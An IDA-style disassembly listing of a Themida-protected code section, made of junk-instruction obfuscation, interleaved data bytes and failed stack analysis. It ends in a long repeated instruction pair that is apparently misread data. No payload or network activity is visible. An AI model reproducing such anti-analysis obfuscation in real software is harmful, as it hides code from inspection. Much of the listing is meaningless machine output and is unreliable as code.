		mov	ax, di
		pop	ebx
		add	dh, 0F9h
		call	near ptr loc_612D6D+4
		cmp	al, 0F6h
		das
		push	ss
		xchg	edx, esp


loc_612D6D:				; CODE XREF: Themida_:00612D62p
		cmp	eax, 66FBCB25h
		mov	edx, 0F5FB846h
		pop	dword ptr [edx]
; ---------------------------------------------------------------------------
		db 0
word_612D7A	dw 0			; CODE XREF: Themida_:00612D54j
; ---------------------------------------------------------------------------
		mov	esi, eax
		or	dx, 0E7D6h
		pusha
		movsx	esi, dx
		call	sub_612D9A

; =============== S U B	R O U T	I N E =======================================



sub_612D8C	proc near		; CODE XREF: sub_612D9A+36j
		push	ebx
		lea	ebx, [ecx+3Fh]
		std
		sbb	[esi+78C72B3Bh], esi
		xchg	eax, ecx
		push	60h
sub_612D8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612D9A	proc near		; CODE XREF: Themida_:00612D87p
		mov	cl, 9
		pop	esi
		popa
		push	ecx
		mov	ch, 4Bh
		pop	ebx


loc_612DA2:				; CODE XREF: sub_612D9A+4Ej
		mov	bx, 285Ah
		pusha
		pusha
		jmp	loc_612DB9
; ---------------------------------------------------------------------------
		db 0B0h, 87h, 5Eh
		dd 7FC3A61Bh, 198EA6DCh
		db 0A1h
; ---------------------------------------------------------------------------


loc_612DB9:				; CODE XREF: sub_612D9A+Ej
		jmp	loc_612DD2
; ---------------------------------------------------------------------------
		dw 9423h
		dd 1317C8B6h, 80BFA89Ah, 9CDBBEDAh, 4062DC1Bh
; ---------------------------------------------------------------------------
		jl	short sub_612D8C


loc_612DD2:				; CODE XREF: sub_612D9A:loc_612DB9j
		popa
		popa
		stc
		cld
		push	edi
		jmp	loc_612DEA
; ---------------------------------------------------------------------------
		dd 0CC1FF6ECh, 1CA60A48h, 43F0B2C5h
; ---------------------------------------------------------------------------
		jo	short loc_612DA2


loc_612DEA:				; CODE XREF: sub_612D9A+3Dj
		pop	edx
		movsx	edx, cx
		and	cx, 0A19h
		jmp	loc_612E0C
; ---------------------------------------------------------------------------
		test	eax, 0F820EAB8h
		cmp	byte ptr [eax+2], 2Ah
		sbb	al, 29h
		mov	esi, 131F23A8h
		retn	0DDB8h
; ---------------------------------------------------------------------------
		aas


loc_612E0C:				; CODE XREF: sub_612D9A+59j
		mov	ecx, 12DAE0C1h
		push	esi
		jns	loc_612E1A
		pusha
		popa


loc_612E1A:				; CODE XREF: sub_612D9A+78j
		pop	ecx
		xor	edi, 2AAA5DCCh
		sbb	dx, 1999h
		movzx	ebx, ax
		js	$+6
		jbe	loc_612E50
		call	sub_612E4A
		dec	esi
		or	eax, 45ABCBF5h
		movsd
		jnz	short near ptr loc_612E62+3
		cmp	bl, cl
		sub	al, 96h
		add	al, 3
		iret
sub_612D9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612E4A	proc near		; CODE XREF: sub_612D9A+9Bp
		mov	edx, 7EA6C82Eh
		pop	ebx


loc_612E50:				; CODE XREF: sub_612D9A+95j
		call	near ptr loc_612E56+4
		inc	edx


loc_612E56:				; CODE XREF: sub_612E4A:loc_612E50p
		test	eax, 81EAC9E5h
sub_612E4A	endp ; sp-analysis failed

		lock test cl, dh
		wait
		xor	[eax+66h], bl


loc_612E62:				; CODE XREF: sub_612D9A+A7j
		mov	esi, 0F8F96D50h
		push	eax
		mov	dx, si
		pop	edi
		mov	ebx, edi
		cmc
		push	eax
		jmp	loc_612E7A
; ---------------------------------------------------------------------------
		db 0E2h, 5Bh, 0B3h
		db 98h,	38h
; ---------------------------------------------------------------------------


loc_612E7A:				; CODE XREF: Themida_:00612E70j
		pop	ebx
		mov	edx, eax
		movzx	ecx, dx
		movsx	ecx, dx
		mov	edi, 2ECFBFD7h
		mov	bx, dx
		jo	loc_612E93
		mov	edi, eax


loc_612E93:				; CODE XREF: Themida_:00612E8Bj
		mov	si, 4433h
		pusha
		mov	bh, 45h
		call	sub_612EA4
		xchg	eax, edi
		sub	[eax+31h], ah
		inc	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_612EA4	proc near		; CODE XREF: Themida_:00612E9Ap
		jmp	sub_612EB3
sub_612EA4	endp

; ---------------------------------------------------------------------------
		db 32h,	0D2h, 1Bh
		dd 0FB914BFAh
		db 9Ah,	0, 1Ch

; =============== S U B	R O U T	I N E =======================================



sub_612EB3	proc near		; CODE XREF: sub_612EA4j
		pop	ebx
		popa
		pusha
		jl	loc_612EBE
		push	esi
		pop	edi


loc_612EBE:				; CODE XREF: sub_612EB3+3j
		ja	loc_612EC6
		pusha
		popa


loc_612EC6:				; CODE XREF: sub_612EB3:loc_612EBEj
		popa
		adc	eax, 47FCB01h
		mov	si, dx
		jnp	loc_612EDC
		sbb	eax, 4A2070F4h


loc_612EDC:				; CODE XREF: sub_612EB3+1Dj
		mov	dl, 56h
		push	eax
		mov	si, di
		pop	esi
		mov	dh, 1Ch
		or	cx, 9412h
		movzx	esi, bx
		pusha
		clc
		popa
		mov	ecx, esi
		ja	loc_612EFD
		mov	ecx, 442B4AA7h


loc_612EFD:				; CODE XREF: sub_612EB3+3Fj
		sbb	dl, 0E3h
		xor	dh, 26h
		mov	edi, 6224B78Fh
		jnp	loc_612F11
		sub	dh, 9Ch


loc_612F11:				; CODE XREF: sub_612EB3+55j
		jmp	loc_612F2A
; ---------------------------------------------------------------------------
		dw 0E60h
		dd 7F4DF9BDh, 9CE95066h, 357670C1h, 10699ECCh
; ---------------------------------------------------------------------------
		mov	ebx, edi


loc_612F2A:				; CODE XREF: sub_612EB3:loc_612F11j
		jmp	loc_612F3F
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0D11C7296h, 0C2B28F4Fh, 0C9EAD3E1h
		db 81h,	0F3h, 37h
; ---------------------------------------------------------------------------


loc_612F3F:				; CODE XREF: sub_612EB3:loc_612F2Aj
		cmc
		mov	esi, 2E400714h
		mov	eax, 161B3394h
		sub	cl, 3Fh
		push	edi
		jmp	loc_612F65
; ---------------------------------------------------------------------------
		db 2Ah
		dd 0D6B4AFEDh, 8B855624h, 0EF3886B2h, 0D1EEF56Eh
		db 0A9h
; ---------------------------------------------------------------------------


loc_612F65:				; CODE XREF: sub_612EB3+9Bj
		pop	ebx
		mov	eax, 4D74A825h
		adc	dx, 5B57h
		call	near ptr locret_612F7C+1
		mov	ds:0AE2FDED5h, al
		dec	esp
		pop	ds

locret_612F7C:				; CODE XREF: sub_612EB3+BDp
		retn	0BF0Fh
sub_612EB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_612F99
; ---------------------------------------------------------------------------
		retf	0D552h
; ---------------------------------------------------------------------------
		db 4Eh,	0B7h, 0CAh
		dd 0D5639771h, 8D980E95h, 0B796B140h
		db 0A2h
; ---------------------------------------------------------------------------


loc_612F99:				; CODE XREF: Themida_:00612F81j
		jl	loc_612FA1
		mov	al, 0A6h


loc_612FA1:				; CODE XREF: Themida_:loc_612F99j
		mov	esi, ebx
		mov	esi, 22D9CA57h
		cld
		mov	di, 29Eh
		and	ah, 0A7h
		jmp	loc_612FBA
; ---------------------------------------------------------------------------
		db 14h,	0D3h, 0AFh
		db 0FAh, 77h
; ---------------------------------------------------------------------------


loc_612FBA:				; CODE XREF: Themida_:00612FB0j
		cld
		sbb	esi, 5D06C766h
		cmc
		sub	si, 0DD4Dh
		mov	dl, 7Dh
		js	loc_612FD0
		clc


loc_612FD0:				; CODE XREF: Themida_:00612FC9j
		mov	si, di
		and	bx, 9919h
		jmp	loc_612FE3
; ---------------------------------------------------------------------------
		db 2Eh,	1Fh, 0B4h
; ---------------------------------------------------------------------------
		inc	esi
		xor	eax, edi


loc_612FE3:				; CODE XREF: Themida_:00612FD8j
					; Themida_:00612FFCj
		jmp	loc_612FEF
; ---------------------------------------------------------------------------
		pop	bp
		cld
		nop
		aaa
		lahf
		push	esp


loc_612FEF:				; CODE XREF: Themida_:loc_612FE3j
		mov	dl, ah
		movsx	edx, di
		jmp	loc_612FFE
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		add	al, 26h
		jo	short loc_612FE3


loc_612FFE:				; CODE XREF: Themida_:00612FF4j
		jb	loc_613014
		call	near ptr loc_613009+5


loc_613009:				; CODE XREF: Themida_:00613004p
		fsub	dword ptr [edi-444DE4F6h]
		xchg	eax, ecx
		pop	ebx
		cmc
		push	cs
		pop	ebx


loc_613014:				; CODE XREF: Themida_:loc_612FFEj
		sub	di, 2E45h
		mov	dh, ah
		jmp	loc_61302E
; ---------------------------------------------------------------------------
		dd 2318468Bh, 7F63214Fh, 7417D3BCh
; ---------------------------------------------------------------------------
		cmpsb
		push	esi


loc_61302E:				; CODE XREF: Themida_:0061301Bj
		movzx	ebx, di
		pusha
		jmp	loc_61304B
; ---------------------------------------------------------------------------
		and	eax, 7AFB655h
		mov	ecx, 0EDF738BEh
		cmp	ah, bh
		and	eax, 2756662Dh
		sti
		inc	eax
		pop	edi


loc_61304B:				; CODE XREF: Themida_:00613032j
		movzx	edx, cx
		popa
		call	near ptr loc_613054+8


loc_613054:				; CODE XREF: Themida_:0061304Fp
		mov	dword ptr [eax-6EB25CD8h], 565961E5h
		push	edi
		call	loc_613077
		add	al, 0ABh
		dec	esp
		push	1Dh
		aas
		xchg	eax, ecx
		pop	es
		mov	ebx, 0FD267BDBh
		cmp	dl, [edi+38C3B962h]


loc_613077:				; CODE XREF: Themida_:0061305Fp
		pop	edx
		pop	edi
		pop	eax
		jmp	loc_61308F
; ---------------------------------------------------------------------------
		db 4
		dd 0AA88E406h, 0E47D0A39h, 0A8B22DB9h
; ---------------------------------------------------------------------------
		pop	es
		fdiv	st, st(4)


loc_61308F:				; CODE XREF: Themida_:0061307Aj
		mov	esi, edx
		mov	bx, ax
		jmp	loc_6130AB
; ---------------------------------------------------------------------------
		db 3Dh,	34h, 1Dh
		dd 604D4099h, 0ECD80FECh, 607D6EA7h
		db 3Ch,	0F3h, 80h
; ---------------------------------------------------------------------------


loc_6130AB:				; CODE XREF: Themida_:00613094j
		movsx	ebx, bx
		jns	loc_6130B6
		mov	ecx, esi


loc_6130B6:				; CODE XREF: Themida_:006130AEj
		mov	eax, edi
		sbb	eax, 5A174Eh
		mov	ch, 51h
		push	edi
		mov	bl, ah
		pop	edi
		sbb	dx, 0A5F6h
		jmp	loc_6130D3
; ---------------------------------------------------------------------------
		dw 0AFB3h
		db 0DAh, 0A3h, 47h
; ---------------------------------------------------------------------------


loc_6130D3:				; CODE XREF: Themida_:006130C9j
		call	sub_6130DE
		mov	bl, 2Eh
; ---------------------------------------------------------------------------
		dw 0D4D9h
		db 0DFh, 80h

; =============== S U B	R O U T	I N E =======================================



sub_6130DE	proc near		; CODE XREF: Themida_:loc_6130D3p
		pusha
		mov	eax, 2E9FA540h
		adc	ax, 88Eh
		popa
		pop	ebx
		sbb	cx, 0DC23h
		or	dx, 9557h
		adc	edi, 56CF01CCh
		call	sub_613110
		jnb	short near ptr loc_613174+1
		mov	ebx, 15966F67h
		xor	bl, dl
		or	eax, [ebx]
		test	cl, al
		db	65h
		xor	eax, edx
sub_6130DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_613110	proc near		; CODE XREF: sub_6130DE+1Dp
		pusha
		js	$+6
		mov	bl, 57h
		popa
		pop	edx
		mov	edx, 179C264Eh
		jge	loc_61312A
		mov	si, 367Dh


loc_61312A:				; CODE XREF: sub_613110+10j
		add	dl, 3Fh
		movsx	edi, bx
		mov	bh, 71h
		mov	edi, 313EAF43h
		push	ecx
		call	sub_613147
		insd
		iret
sub_613110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 79h
		dd 0D2EF4C9Eh
		db 36h,	3Fh, 0F0h

; =============== S U B	R O U T	I N E =======================================



sub_613147	proc near		; CODE XREF: sub_613110+28p
		mov	dx, 8242h
		pop	edi
		pop	ebx
		sbb	bx, 0F81Bh
		pusha
		mov	bh, al
		jnz	loc_61315C
		stc


loc_61315C:				; CODE XREF: sub_613147+Ej
		popa
		jmp	loc_613174
; ---------------------------------------------------------------------------
		dw 0E67Fh
		dd 0FDB91486h, 92A510A3h, 311641DDh, 948D24A3h
; ---------------------------------------------------------------------------


loc_613174:				; CODE XREF: sub_613147+16j
					; sub_6130DE+22j
		mov	esi, 184C5108h
		call	sub_613188
		push	cs
		push	78C43AF8h
		in	al, 0CAh	; DMA controller, 8237A-5.
					; single mask bit register
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set mask	for channel; 0=clear mask (enable)
		loopne	loc_6131DA
sub_613147	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_613188	proc near		; CODE XREF: sub_613147+32p
		jmp	sub_613196
sub_613188	endp

; ---------------------------------------------------------------------------
		db 0DBh, 0F2h, 5Eh
		dd 6D0CFD98h
		db 0C0h, 0A3h

; =============== S U B	R O U T	I N E =======================================



sub_613196	proc near		; CODE XREF: sub_613188j
		pop	ebx
		or	ecx, 7E69D5C0h
		movzx	eax, ax
		jl	loc_6131A7
		cmc


loc_6131A7:				; CODE XREF: sub_613196+Aj
		pusha
		push	ebx
		jmp	loc_6131C2
; ---------------------------------------------------------------------------
		db 57h
; ---------------------------------------------------------------------------


loc_6131AF:				; CODE XREF: sub_613196+3Fj
		push	0DA8D81Bh
		pop	ds
		assume ds:nothing
		pop	ebp
		cmp	ecx, [eax+41B2DCCBh]
		sbb	eax, 526A9B44h
; ---------------------------------------------------------------------------
		db 0B5h
; ---------------------------------------------------------------------------


loc_6131C2:				; CODE XREF: sub_613196+13j
		pop	esi
		cld
		popa
		movsx	ecx, ax
		call	loc_6131DB
		test	edx, esp
		cmp	esp, [ecx-30670F1Fh]
		jp	short loc_6131AF
		icebp
		out	22h, eax


loc_6131DA:				; CODE XREF: sub_613147+3Fj
		inc	edx
sub_613196	endp ; sp-analysis failed



loc_6131DB:				; CODE XREF: sub_613196+32p
		movzx	edx, cx
		pop	edi
		mov	cx, 466Bh
		adc	ebx, 40889C7Bh
		jns	loc_613207
		jmp	loc_613207
; ---------------------------------------------------------------------------
		dd 217E9903h, 0F949857Ch, 5C836471h, 0DDDA6918h
		db 19h,	0D6h, 0F7h
; ---------------------------------------------------------------------------


loc_613207:				; CODE XREF: Themida_:006131E9j
					; Themida_:006131EFj
		push	ebx
		jmp	loc_61321A
; ---------------------------------------------------------------------------
		db 0Eh,	75h, 0BDh
		dd 82561B6Eh, 0BC1CEF36h
; ---------------------------------------------------------------------------


loc_613218:				; CODE XREF: Themida_:0061323Dj
		fdivrp	st, st


loc_61321A:				; CODE XREF: Themida_:00613208j
		pop	eax
		adc	bx, 878Ah
		adc	dh, 7Dh
		push	esi
		jle	loc_61322D
		movsx	ecx, dx


loc_61322D:				; CODE XREF: Themida_:00613224j
		pop	eax
		mov	ah, 0E4h
		jbe	loc_613238
		mov	dl, 0E6h


loc_613238:				; CODE XREF: Themida_:00613230j
		cmc
		mov	cx, 343Bh
		jg	short loc_613218
		mov	edx, 0BAD97F1Ch
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
